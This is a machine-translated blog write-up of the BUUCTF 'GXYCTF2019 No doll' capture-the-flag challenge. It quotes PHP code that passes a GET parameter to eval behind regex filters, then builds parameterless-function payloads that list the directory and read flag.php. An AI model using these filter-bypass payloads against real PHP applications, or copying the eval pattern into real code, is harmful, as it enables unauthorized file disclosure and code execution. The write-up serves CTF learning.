当前位置:网站首页>Buuctf-[gxyctf2019] no dolls (xiaoyute detailed explanation)
Buuctf-[gxyctf2019] no dolls (xiaoyute detailed explanation)
2022-07-06 06:00:00 【Xiaoyute detailed explanation】
buuctf-[GXYCTF2019] No doll ( Xiaoyute detailed explanation )
Let's look at the question first

There is no useful information found here , First use dirsearch To blow up but didn't find anything useful , At this time, I suspect there is git Leaked the use here githack Detection found index.php
Look at the source code here
<?php
2 include "flag.php";
3 echo "flag Where is it ?<br>";
4 if(isset($_GET['exp'])){
// Need to be GET The form passes in a name exp Parameters of . If the conditions are met, this... Will be executed exp Parameter content .
5 if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
// Several common pseudo protocols are filtered , Cannot read file with pseudo Protocol .
6 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
//(?R) Reference the current expression , I added ? Recursively call . You can only match through parameterless functions .
7 if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// Regular matches are missing et/na/info Other key words , Many functions don't work .
8 // echo $_GET['exp'];
9 @eval($_GET['exp']);
10 }
11 else{
12 die(" It's a little bit close to !");
13 }
14 }
15 else{
16 die(" Think about it !");
17 }
18 }
19 else{
20 die(" Still want to read flag, Smelly brother !");
21 }
22 }
23 // highlight_file(__FILE__);
24 ?>
The key point is
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
there ?R It means
Reference the current expression , Add... To the back ? It's a recursive call
therefore exp Must be a(b()); This type is OK
We learned from the source code flag stay flag.php in
Just find a way to read
scandir() Function can scan files in the current directory
<?php
print_r(scandir('.'));
?>
structure scandir(’.’) Can
It's used here 2 A function
localeconv() Function returns an array of local numbers and currency format information . And the first item in the array is .
current() Returns the current cell in the array , The first value is taken by default .
Note here
current(localeconv()) Always a point
First step
?exp=print_r(scandir(current(localeconv())));

Here you need to read the penultimate array
Two functions are also used here
next(): The function points the internal pointer to the next element in the array , And the output
array_reverse(): Array returns the array in the reverse order of elements
final payload
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

边栏推荐
- VINS-Mono: A Robust and Versatile Monocular Visual-Inertial State Estimator
- 局域网同一个网段通信过程
- 【论文阅读】NFlowJS:基于鲁棒学习的合成负数据密集异常检测
- C language learning notes (mind map)
- MIT6.s081-2020 Lab2 System Calls
- 養了只小猫咪
- 嵌入式面试题(一:进程与线程)
- Accélération de la lecture vidéo de l'entreprise
- 清除浮动的方式
- OSPF configuration command of Huawei equipment
猜你喜欢

Processes and threads

How to use the container reflection method encapsulated by thinkphp5.1 in business code

Yunxiaoduo software internal test distribution test platform description document

Clear floating mode

YYGH-11-定时统计
![[paper reading] nflowjs: synthetic negative data intensive anomaly detection based on robust learning](/img/9c/2753f68ecec3555aaca23800dada1e.png)
[paper reading] nflowjs: synthetic negative data intensive anomaly detection based on robust learning

【无标题】
![[experience] install Visio on win11](/img/f5/42bd597340d0aed9bfd13620bb0885.png)
[experience] install Visio on win11

Detailed explanation of BF and KMP

Novice entry SCM must understand those things
随机推荐
H3C firewall rbm+vrrp networking configuration
Download, install and use NVM of node, and related use of node and NRM
[experience] install Visio on win11
[Baiwen smart home] first day of the course_ Learn Embedded and understand the development mode of bare metal and RTOS
Station B, Mr. Liu Er - multiple logistic regression, structure 7
Redis6 cluster setup
Leetcode 701 insertion operation in binary search tree -- recursive method and iterative method
continue和break的区别与用法
Redis message queue
CoDeSys note 2: set coil and reset coil
Construction of yolox based on paste framework
实践分享:如何安全快速地从 Centos迁移到openEuler
Station B, Master Liu Er - dataset and data loading
Demander le Code de texte standard correspondant à un centre de travail dans l'ordre de production
多线程应用的测试与调试
Bit operation rules
Cognitive introspection
C language learning notes (mind map)
网络协议模型
Node 之 nvm 下载、安装、使用,以及node 、nrm 的相关使用